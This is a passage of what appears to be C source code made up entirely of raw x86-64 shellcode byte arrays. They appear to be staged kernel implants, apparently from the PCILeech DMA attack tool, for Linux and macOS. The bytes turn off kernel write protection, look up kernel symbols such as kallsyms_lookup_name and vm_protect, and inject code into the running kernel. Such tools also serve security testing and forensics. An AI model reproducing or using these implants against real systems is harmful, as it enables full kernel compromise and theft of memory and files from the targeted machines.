0x4c, 0x8d, 0x0d, 0x24, 0x01, 0x00, 0x00, 0x4a,\n    0x8b, 0x04, 0x09, 0x4a, 0x89, 0x04, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x48,\n    0x83, 0xf9, 0x20, 0x75, 0xee, 0x41, 0x0f, 0x22, 0xc7, 0x44, 0x89, 0x2d,\n    0xb0, 0xfc, 0xff, 0xff, 0xc3, 0x48, 0x8b, 0x05, 0x60, 0xfd, 0xff, 0xff,\n    0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdf, 0xff,\n    0xff, 0xff, 0x5f, 0x48, 0x03, 0xc7, 0xc3, 0x48, 0x8b, 0x05, 0x22, 0xfd,\n    0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48,\n    0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0xe8,\n    0xdf, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07,\n    0x48, 0xc1, 0xe7, 0x0c, 0x48, 0x8b, 0xc7, 0xc3, 0x00, 0x6b, 0x61, 0x6c,\n    0x6c, 0x73, 0x79, 0x6d, 0x73, 0x5f, 0x6c, 0x6f, 0x6f, 0x6b, 0x75, 0x70,\n    0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x00, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61,\n    0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x5f, 0x6f, 0x6e, 0x5f,\n    0x6e, 0x6f, 0x64, 0x65, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70,\n    0x61, 0x67, 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74,\n    0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74,\n    0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61,\n    0x70, 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x66, 0x73, 0x5f, 0x72,\n    0x65, 0x61, 0x64, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f,\n    0x72, 0x79, 0x5f, 0x78, 0x00, 0x77, 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70,\n    0x5f, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, 0x70, 0x63, 0x69,\n    0x6c, 0x65, 0x65, 0x63, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x57, 0x56, 0x52, 0x51, 0x48, 0xbf, 0x88, 0x88, 0x88,\n    0x88, 0x88, 0x88, 0x88, 0x88, 0x57, 0xbe, 0x01, 0x00, 0x00, 0x00, 0xe9,\n    0x77, 0x77, 0x77, 0x77, 0x41, 0x50, 0x41, 0x51, 0x53, 0x55, 0x41, 0x54,\n    0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x0f, 0x20, 0xc2, 0x48, 0x8b, 0xc2,\n    0x25, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc0, 0x48, 0x33, 0xc9, 0x4c,\n    0x8b, 0x05, 0x3a, 0xfc, 0xff, 0xff, 0x4c, 0x8d, 0x0d, 0x9a, 0xff, 0xff,\n    0xff, 0x4a, 0x8b, 0x04, 0x09, 0x4a, 0x89, 0x04, 0x01, 0x48, 0x83, 0xc1,\n    0x08, 0x48, 0x83, 0xf9, 0x20, 0x75, 0xee, 0x0f, 0x22, 0xc2, 0xb0, 0x00,\n    0xb2, 0x01, 0x48, 0x8d, 0x0d, 0x79, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0,\n    0x11, 0x75, 0x05, 0xe8, 0x5a, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e,\n    0x41, 0x5d, 0x41, 0x5c, 0x5d, 0x5b, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a,\n    0x5e, 0x5f, 0xff, 0x25, 0xf0, 0xfb, 0xff, 0xff, 0xeb, 0x07, 0x6d, 0x73,\n    0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff,\n    0x48, 0x8d, 0x05, 0xf9, 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0,\n    0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x05,\n    0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74,\n    0xd4, 0x48, 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48,\n    0xab, 0xc3, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6,\n    0x02, 0x00, 0x00, 0x00, 0xff, 0x15, 0x8a, 0xfb, 0xff, 0xff, 0x48, 0x8b,\n    0xf8, 0xe8, 0x54, 0xfe, 0xff, 0xff, 0x4c, 0x8b, 0xe8, 0x49, 0x8b, 0xfd,\n    0xe8, 0x23, 0xfe, 0xff, 0xff, 0x4c, 0x8b, 0xe0, 0x49, 0x8b, 0xfc, 0x48,\n    0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0x15, 0x6c, 0xfb, 0xff, 0xff,\n    0x49, 0x8b, 0xfc, 0xe8, 0xb1, 0xff, 0xff, 0xff, 0x48, 0xc7, 0xc7, 0x40,\n    0x00, 0x00, 0x00, 0x48, 0x83, 0xef, 0x08, 0x48, 0x8d, 0x05, 0x6a, 0xff,\n    0xff, 0xff, 0x48, 0x8b, 0x04, 0x07, 0x49, 0x8b, 0xf4, 0x48, 0x81, 0xc6,\n    0x00, 0x10, 0x00, 0x00, 0x48, 0x03, 0xf7, 0x48, 0x89, 0x06, 0x48, 0x85,\n    0xff, 0x75, 0xdc, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00,\n    0x00, 0x48, 0x33, 0xf6, 0x48, 0x33, 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48,\n    0x8d, 0x0d, 0x83, 0xfe, 0xff, 0xff, 0xff, 0x15, 0xf8, 0xfa, 0xff, 0xff,\n    0x49, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8b, 0x05, 0x1c, 0xfb, 0xff, 0xff,\n    0x49, 0x89, 0x44, 0x24, 0x10, 0x49, 0x8b, 0x7c, 0x24, 0x58, 0xff, 0x15,\n    0xe4, 0xfa, 0xff, 0xff, 0x44, 0x89, 0x2d, 0x2d, 0xfa, 0xff, 0xff, 0xc3\n};\n\nconst BYTE MACOS_STAGE1_BIN[] = {\n    0xe8, 0xfb, 0xff, 0xff, 0xff\n};\n\nconst BYTE MACOS_STAGE2_BIN[] = {\n    0xeb, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x48, 0x83, 0xe8,\n    0x05, 0x50, 0x57, 0x56, 0x52, 0x51, 0x41, 0x50, 0x41, 0x51, 0x0f, 0x20,\n    0xc1, 0x51, 0x81, 0xe1, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc1, 0x48,\n    0x8b, 0x15, 0xd2, 0xff, 0xff, 0xff, 0x48, 0x89, 0x10, 0xb0, 0x00, 0xb2,\n    0x01, 0x48, 0x8d, 0x0d, 0xbe, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0, 0x11,\n    0x75, 0x2f, 0x8b, 0x05, 0xc0, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xa9,\n    0xff, 0xff, 0xff, 0x48, 0x03, 0xf8, 0x48, 0x8d, 0x35, 0x5a, 0x02, 0x00,\n    0x00, 0xe8, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x39, 0x00, 0x00,\n    0x00, 0xc8, 0x20, 0x00, 0x00, 0xff, 0xd0, 0xe8, 0x0e, 0x00, 0x00, 0x00,\n    0xc9, 0x58, 0x0f, 0x22, 0xc0, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e,\n    0x5f, 0xc3, 0x50, 0x0f, 0x20, 0xc0, 0x25, 0xff, 0xff, 0xfe, 0xff, 0x0f,\n    0x22, 0xc0, 0x58, 0xc3, 0x48, 0x33, 0xc0, 0x48, 0xc7, 0xc1, 0x00, 0x04,\n    0x00, 0x00, 0x48, 0x89, 0x44, 0xcf, 0xf8, 0xe2, 0xf9, 0xc3, 0xe8, 0xdb,\n    0xff, 0xff, 0xff, 0x4c, 0x8d, 0x35, 0x4e, 0xff, 0xff, 0xff, 0x49, 0x81,\n    0xe6, 0x00, 0xf0, 0xff, 0xff, 0x49, 0x81, 0xc6, 0x00, 0x10, 0x00, 0x00,\n    0x8b, 0x05, 0x4a, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x3d, 0x33, 0xff, 0xff,\n    0xff, 0x4c, 0x03, 0xf8, 0x0f, 0x20, 0xd8, 0x49, 0x89, 0x46, 0xf8, 0x49,\n    0x8b, 0xff, 0x48, 0x8d, 0x35, 0xc6, 0x01, 0x00, 0x00, 0xe8, 0x64, 0x01,\n    0x00, 0x00, 0x48, 0xc7, 0xc7, 0x00, 0x20, 0x00, 0x00, 0x48, 0xc7, 0xc6,\n    0x0c, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x48, 0x8b, 0xd4, 0xc8, 0x20, 0x00,\n    0x00, 0xff, 0xd0, 0xc9, 0x5b, 0xe8, 0x80, 0xff, 0xff, 0xff, 0x48, 0x83,\n    0xf8, 0x00, 0x0f, 0x84, 0xaf, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x49,\n    0x89, 0x46, 0xe8, 0x49, 0x89, 0x5e, 0xe0, 0x48, 0x8b, 0xc3, 0x48, 0xc1,\n    0xe8, 0x20, 0x48, 0x83, 0xf8, 0x00, 0x0f, 0x85, 0x93, 0x00, 0x00, 0x00,\n    0x49, 0x8b, 0xfc, 0xe8, 0x60, 0xff, 0xff, 0xff, 0x48, 0xb8, 0x48, 0x8d,\n    0x05, 0xf1, 0xff, 0xff, 0xff, 0x48, 0x49, 0x89, 0x84, 0x24, 0x00, 0x10,\n    0x00, 0x00, 0x48, 0xb8, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xf0,\n    0x49, 0x89, 0x84, 0x24, 0x08, 0x10, 0x00, 0x00, 0x49, 0x8b, 0xff, 0x48,\n    0x8d, 0x35, 0x69, 0x01, 0x00, 0x00, 0xe8, 0xe3, 0x00, 0x00, 0x00, 0x48,\n    0x83, 0xf8, 0x00, 0x74, 0x52, 0x4c, 0x8b, 0x28, 0x49, 0x8b, 0xff, 0x48,\n    0x8d, 0x35, 0x21, 0x01, 0x00, 0x00, 0xe8, 0xcb, 0x00, 0x00, 0x00, 0x49,\n    0x8b, 0xfd, 0x49, 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00, 0x10, 0x00, 0x00,\n    0x48, 0xc7, 0xc2, 0x00, 0x10, 0x00, 0x00, 0x48, 0xc7, 0xc1, 0x00, 0x00,\n    0x00, 0x00, 0x49, 0xc7, 0xc0, 0x05, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48,\n    0x83, 0xf8, 0x00, 0x75, 0x16, 0x4d, 0x89, 0x7c, 0x24, 0x08, 0x89, 0x1d,\n    0x50, 0xfe, 0xff, 0xff, 0x49, 0x8b, 0xc4, 0x48, 0x05, 0x00, 0x10, 0x00,\n    0x00, 0xff, 0xe0, 0xb8, 0xff, 0xff, 0xff, 0xff, 0x89, 0x05, 0x3a, 0xfe,\n    0xff, 0xff, 0xc3, 0x51, 0x48, 0x33, 0xc9, 0x48, 0xff, 0xc9, 0x48, 0xff,\n    0xc1, 0x8a, 0x04, 0x39, 0x3a, 0x04, 0x31, 0x75, 0x09, 0x3c, 0x00, 0x75,\n    0xf1, 0x48, 0x33, 0xc0, 0x59, 0xc3, 0xb0, 0x01, 0x59, 0xc3, 0xb8, 0xcf,\n    0xfa, 0xed, 0xfe, 0x3b, 0x07, 0x75, 0x37, 0xb8, 0x07, 0x00, 0x00, 0x01,\n    0x3b, 0x47, 0x04, 0x75, 0x2d, 0x48, 0x33, 0xc9, 0x48, 0xb8, 0x5f, 0x5f,\n    0x4c, 0x49, 0x4e, 0x4b, 0x45, 0x44, 0x48, 0x3b, 0x04, 0x39, 0x74, 0x0f,\n    0x48, 0x83, 0xc1, 0x04, 0x48, 0x81, 0xf9, 0x00, 0x20, 0x00, 0x00, 0x74,\n    0x0d, 0xeb, 0xeb, 0x48, 0x8b, 0x44, 0x39, 0x10, 0x48, 0x03, 0x44, 0x39,\n    0x18, 0xc3, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc1,\n    0x20, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x39, 0x01, 0x74, 0x08, 0x8b, 0x41,\n    0x04, 0x48, 0x03, 0xc8, 0xeb, 0xef, 0x48, 0x8b, 0xc1, 0xc3, 0x41, 0x52,\n    0xe8, 0xdd, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0xc0, 0xe8, 0x91, 0xff, 0xff,\n    0xff, 0x4c, 0x8b, 0xc8, 0x41, 0x8b, 0x40, 0x14, 0x4c, 0x2b, 0xc8, 0x4d,\n    0x8b, 0xd1, 0x41, 0x8b, 0x48, 0x0c, 0x49, 0x83, 0xe9, 0x10, 0x49, 0x8b,\n    0x41, 0x08, 0x48, 0xc1, 0xe8, 0x20, 0x83, 0xf8, 0x80, 0x75, 0x11, 0x41,\n    0x8b, 0x39, 0x49, 0x03, 0xfa, 0xe8, 0x45, 0xff, 0xff, 0xff, 0x48, 0x83,\n    0xf8, 0x00, 0x74, 0x08, 0xe2, 0xdc, 0x48, 0x33, 0xc0, 0x41, 0x5a, 0xc3,\n    0x49, 0x8b, 0x41, 0x08, 0x41, 0x5a, 0xc3, 0x5f, 0x76, 0x6d, 0x5f, 0x70,\n    0x72, 0x6f, 0x74, 0x65, 0x63, 0x74, 0x00, 0x5f, 0x49, 0x4f, 0x4d, 0x61,\n    0x6c, 0x6c, 0x6f, 0x63, 0x43, 0x6f, 0x6e, 0x74, 0x69, 0x67, 0x75, 0x6f,\n    0x75, 0x73, 0x00, 0x5f, 0x49, 0x4f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,\n    0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x5f, 0x6b, 0x65, 0x72, 0x6e,\n    0x65, 0x6c, 0x5f, 0x6d, 0x61, 0x70, 0x00\n};\n\nconst BYTE MACOS_STAGE3_BIN[] = {\n    0x48, 0x8d, 0x05, 0xf1, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83,\n    0xf8, 0x00, 0x74, 0xf0, 0x48, 0x8d, 0x0d, 0xe9, 0xef, 0xff, 0xff, 0xc8,\n    0x20, 0x00, 0x00, 0xe8, 0x30, 0x03, 0x00, 0x00, 0xc9, 0xc3, 0x51, 0x48,\n    0x33, 0xc9, 0x48, 0xff, 0xc9, 0x48, 0xff, 0xc1, 0x8a, 0x04, 0x39, 0x3a,\n    0x04, 0x31, 0x75, 0x09, 0x3c, 0x00, 0x75, 0xf1, 0x48, 0x33, 0xc0, 0x59,\n    0xc3, 0xb0, 0x01, 0x59, 0xc3, 0xb8, 0xcf, 0xfa, 0xed, 0xfe, 0x3b, 0x07,\n    0x75, 0x37, 0xb8, 0x07, 0x00, 0x00, 0x01, 0x3b, 0x47, 0x04, 0x75, 0x2d,\n    0x48, 0x33, 0xc9, 0x48, 0xb8, 0x5f, 0x5f, 0x4c, 0x49, 0x4e, 0x4b, 0x45,\n    0x44, 0x48, 0x3b, 0x04, 0x39, 0x74, 0x0f, 0x48, 0x83, 0xc1, 0x04, 0x48,\n    0x81, 0xf9, 0x00, 0x20, 0x00, 0x00, 0x74, 0x0d, 0xeb, 0xeb, 0x48, 0x8b,\n    0x44, 0x39, 0x10, 0x48, 0x03, 0x44, 0x39, 0x18, 0xc3, 0x48, 0x33, 0xc0,\n    0xc3, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc1, 0x20, 0xb8, 0x02, 0x00, 0x00,\n    0x00, 0x39, 0x01, 0x74, 0x08, 0x8b, 0x41, 0x04, 0x48, 0x03, 0xc8, 0xeb,\n    0xef, 0x48, 0x8b, 0xc1, 0xc3, 0x41, 0x52, 0x57, 0x56, 0x48, 0x8b, 0xf9,\n    0x48, 0x8b, 0xf2, 0xe8, 0xd5, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0xc0, 0xe8,\n    0x89, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0xc8, 0x41, 0x8b, 0x40, 0x14, 0x4c,\n    0x2b, 0xc8, 0x4d, 0x8b, 0xd1, 0x41, 0x8b, 0x48, 0x0c, 0x49, 0x83, 0xe9,\n    0x10, 0x49, 0x8b, 0x41, 0x08, 0x48, 0xc1, 0xe8, 0x20, 0x83, 0xf8, 0x80,\n    0x75, 0x11, 0x41, 0x8b, 0x39, 0x49, 0x03, 0xfa, 0xe8, 0x3d, 0xff, 0xff,\n    0xff, 0x48, 0x83, 0xf8, 0x00, 0x74, 0x0a, 0xe2, 0xdc, 0x48, 0x33, 0xc0,\n    0x5e, 0x5f, 0x41, 0x5a, 0xc3, 0x49, 0x8b, 0x41, 0x08, 0x5e, 0x5f, 0x41,\n    0x5a, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x4c, 0x8b, 0xf9, 0x4c,\n    0x8b, 0xf2, 0x49, 0xc7, 0xc5, 0x58, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05,\n    0x7f, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x83, 0x00, 0x00, 0x00,\n    0x50, 0x48, 0x8d, 0x05, 0x85, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05,\n    0x85, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x8f, 0x00, 0x00, 0x00,\n    0x50, 0x48, 0x8d, 0x05, 0x91, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05,\n    0x9d, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x9e, 0x00, 0x00, 0x00,\n    0x50, 0x48, 0x8d, 0x05, 0x9e, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05,\n    0x9e, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x9e, 0x00, 0x00, 0x00,\n    0x50, 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x5a, 0xe8, 0x2b, 0xff,\n    0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x18, 0x4b, 0x89, 0x44, 0x35, 0x00,\n    0x4d, 0x85, 0xed, 0x75, 0xe4, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0x48,\n    0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3, 0x48, 0x33, 0xc0, 0xc3, 0x5f,\n    0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x5f, 0x6d, 0x61, 0x70, 0x00, 0x5f,\n    0x50, 0x45, 0x5f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x00, 0x5f, 0x49, 0x4f,\n    0x46, 0x72, 0x65, 0x65, 0x00, 0x5f, 0x49, 0x4f, 0x46, 0x72, 0x65, 0x65,\n    0x43, 0x6f, 0x6e, 0x74, 0x69, 0x67, 0x75, 0x6f, 0x75, 0x73, 0x00, 0x5f,\n    0x49, 0x4f, 0x4d, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x00, 0x5f, 0x49, 0x4f,\n    0x4d, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x43, 0x6f, 0x6e, 0x74, 0x69, 0x67,\n    0x75, 0x6f, 0x75, 0x73, 0x00, 0x5f, 0x49, 0x4f, 0x53, 0x6c, 0x65, 0x65,\n    0x70, 0x00, 0x5f, 0x6d, 0x65, 0x6d, 0x63, 0x6d, 0x70, 0x00, 0x5f, 0x6d,\n    0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x5f, 0x6d, 0x65, 0x6d, 0x73, 0x65,\n    0x74, 0x00, 0x5f, 0x76, 0x6d, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x65, 0x63,\n    0x74, 0x00, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b,\n    0xf0, 0x49, 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44,\n    0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc,\n    0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff, 0xd0, 0x49, 0x8b,\n    0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x0f, 0x20, 0xd8, 0x0f, 0x22, 0xd8,\n    0xc3, 0x0f, 0x20, 0xd8, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48,\n    0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,\n    0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x81,\n    0x08, 0x03, 0x00, 0x00, 0x4d, 0x8b, 0xf0, 0x48, 0x8b, 0x89, 0x48, 0x03,\n    0x00, 0x00, 0x41, 0xb9, 0x00, 0x10, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x48,\n    0x8b, 0xea, 0x33, 0xdb, 0x33, 0xff, 0x48, 0x8b, 0xb0, 0xa0, 0x00, 0x00,\n    0x00, 0xe8, 0x78, 0xff, 0xff, 0xff, 0x39, 0x9e, 0x0c, 0x04, 0x00, 0x00,\n    0x0f, 0x86, 0x83, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xf8, 0x44, 0x8b,\n    0x86, 0x08, 0x04, 0x00, 0x00, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x80,\n    0xff, 0xff, 0xff, 0x4c, 0x03, 0xc1, 0x41, 0x8b, 0x04, 0x38, 0x83, 0xf8,\n    0x0d, 0x77, 0x4e, 0xb9, 0xfe, 0x26, 0x00, 0x00, 0x0f, 0xa3, 0xc1, 0x73,\n    0x44, 0x48, 0x85, 0xdb, 0x74, 0x22, 0x4c, 0x8b, 0x0a, 0x48, 0x8b, 0x4a,\n    0xf8, 0x49, 0x03, 0xc9, 0x49, 0x39, 0x4c, 0x38, 0x08, 0x75, 0x11, 0x49,\n    0x8b, 0x44, 0x38, 0x18, 0x48, 0xc1, 0xe0, 0x0c, 0x49, 0x03, 0xc1, 0x48,\n    0x89, 0x02, 0xeb, 0x1d, 0x49, 0x8b, 0x44, 0x38, 0x08, 0x48, 0xff, 0xc3,\n    0x48, 0x89, 0x42, 0x08, 0x49, 0x8b, 0x44, 0x38, 0x18, 0x48, 0xc1, 0xe0,\n    0x0c, 0x48, 0x89, 0x42, 0x10, 0x48, 0x83, 0xc2, 0x10, 0x8b, 0x8e, 0x10,\n    0x04, 0x00, 0x00, 0x48, 0x03, 0xf9, 0x8b, 0x8e, 0x0c, 0x04, 0x00, 0x00,\n    0x48, 0x3b, 0xf9, 0x72, 0x81, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0xb8, 0x01,\n    0x00, 0x00, 0x00, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24,\n    0x48, 0x48, 0xc1, 0xe3, 0x04, 0x49, 0x89, 0x1e, 0x48, 0x8b, 0x5c, 0x24,\n    0x30, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0x40, 0x53, 0x55, 0x56,\n    0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x48, 0x83, 0xec, 0x30, 0x48,\n    0x8d, 0xb1, 0x00, 0x03, 0x00, 0x00, 0x48, 0xc7, 0x41, 0x50, 0x04, 0x00,\n    0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff,\n    0x48, 0x8b, 0xd9, 0x48, 0x89, 0x01, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0x49,\n    0x08, 0x33, 0xed, 0xe8, 0x72, 0xfd, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a,\n    0xb8, 0x01, 0x00, 0x00, 0xf0, 0xe9, 0x56, 0x03, 0x00, 0x00, 0x48, 0x8b,\n    0x8b, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x78, 0x41, 0xbd,\n    0x00, 0x00, 0x00, 0x01, 0x41, 0xbc, 0x0c, 0x00, 0x00, 0x00, 0x45, 0x8b,\n    0xc4, 0x4c, 0x89, 0x6b, 0x18, 0x41, 0x8b, 0xd5, 0xe8, 0x51, 0xfe, 0xff,\n    0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x35, 0x48, 0x8b, 0x8b,\n    0x28, 0x03, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x78, 0xb8, 0x00, 0x00,\n    0x40, 0x00, 0x45, 0x8b, 0xc4, 0x8b, 0xd0, 0x48, 0x89, 0x43, 0x18, 0xe8,\n    0x2a, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x0e,\n    0x48, 0x21, 0x6b, 0x18, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0xf2, 0x02,\n    0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x78, 0x48, 0x85, 0xc9, 0x0f, 0x84,\n    0xdf, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0x4b, 0x18, 0x48, 0xb8, 0x00, 0x00,\n    0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x49, 0x2b, 0xc1, 0x48, 0x3b, 0xc8,\n    0x0f, 0x87, 0xc5, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x16, 0x4c, 0x8b, 0xc7,\n    0x48, 0x89, 0x4b, 0x20, 0x48, 0x8b, 0x8b, 0x50, 0x03, 0x00, 0x00, 0x48,\n    0x89, 0x7b, 0x28, 0x48, 0x8b, 0x12, 0xc7, 0x44, 0x24, 0x28, 0x07, 0x00,\n    0x00, 0x00, 0x48, 0x21, 0x6c, 0x24, 0x20, 0xe8, 0xc2, 0xfd, 0xff, 0xff,\n    0xe8, 0xf8, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x28, 0x03, 0x00, 0x00,\n    0x4c, 0x8d, 0x4c, 0x24, 0x70, 0x45, 0x8b, 0xc4, 0x4c, 0x8b, 0xf0, 0x41,\n    0xbc, 0x00, 0xa0, 0x00, 0x00, 0x41, 0x8b, 0xd4, 0xe8, 0x9d, 0xfd, 0xff,\n    0xff, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x63, 0x02, 0x00,\n    0x00, 0x48, 0xa9, 0xff, 0x0f, 0x00, 0x00, 0x0f, 0x85, 0x57, 0x02, 0x00,\n    0x00, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0x45, 0x8b, 0xcc, 0x45,\n    0x33, 0xc0, 0x48, 0x8b, 0xd0, 0xe8, 0x70, 0xfd, 0xff, 0xff, 0xba, 0x00,\n    0x20, 0x00, 0x00, 0x4c, 0x8d, 0x86, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8b,\n    0x4c, 0x24, 0x70, 0x48, 0x03, 0xca, 0x48, 0x81, 0xc2, 0x00, 0x10, 0x00,\n    0x00, 0x48, 0x83, 0xc9, 0x23, 0x49, 0x89, 0x08, 0x4d, 0x8d, 0x40, 0x08,\n    0x49, 0x3b, 0xd4, 0x72, 0xe1, 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0xb9,\n    0xe8, 0x0e, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0x48, 0x05, 0x00, 0x10,\n    0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc8, 0x23,\n    0x48, 0x89, 0x06, 0xb8, 0x00, 0xf0, 0xff, 0xff, 0x4c, 0x23, 0xf0, 0x48,\n    0x8b, 0x44, 0x24, 0x70, 0x48, 0x83, 0xc8, 0x23, 0x4c, 0x89, 0xb4, 0x24,\n    0x80, 0x00, 0x00, 0x00, 0x49, 0x89, 0x04, 0x0e, 0x49, 